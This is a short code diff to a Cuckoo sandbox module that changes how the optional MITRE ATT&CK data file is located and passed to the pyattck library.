b/lib/cuckoo/common/abstracts.py @@ -52,7 +52,12 @@ if repconf.mitre.enabled: try: from pyattck import Attck - mitre = Attck(os.path.join(CUCKOO_ROOT, repconf.mitre.local_file)) + attack_file = repconf.mitre.get("local_file", False) + if attack_file: + attack_file = os.path.join(CUCKOO_ROOT, attack_file) + else: + attack_file = False + mitre = Attck(attack_file) HAVE_MITRE = True log.error("Missed pyattck dependency") except ImportError: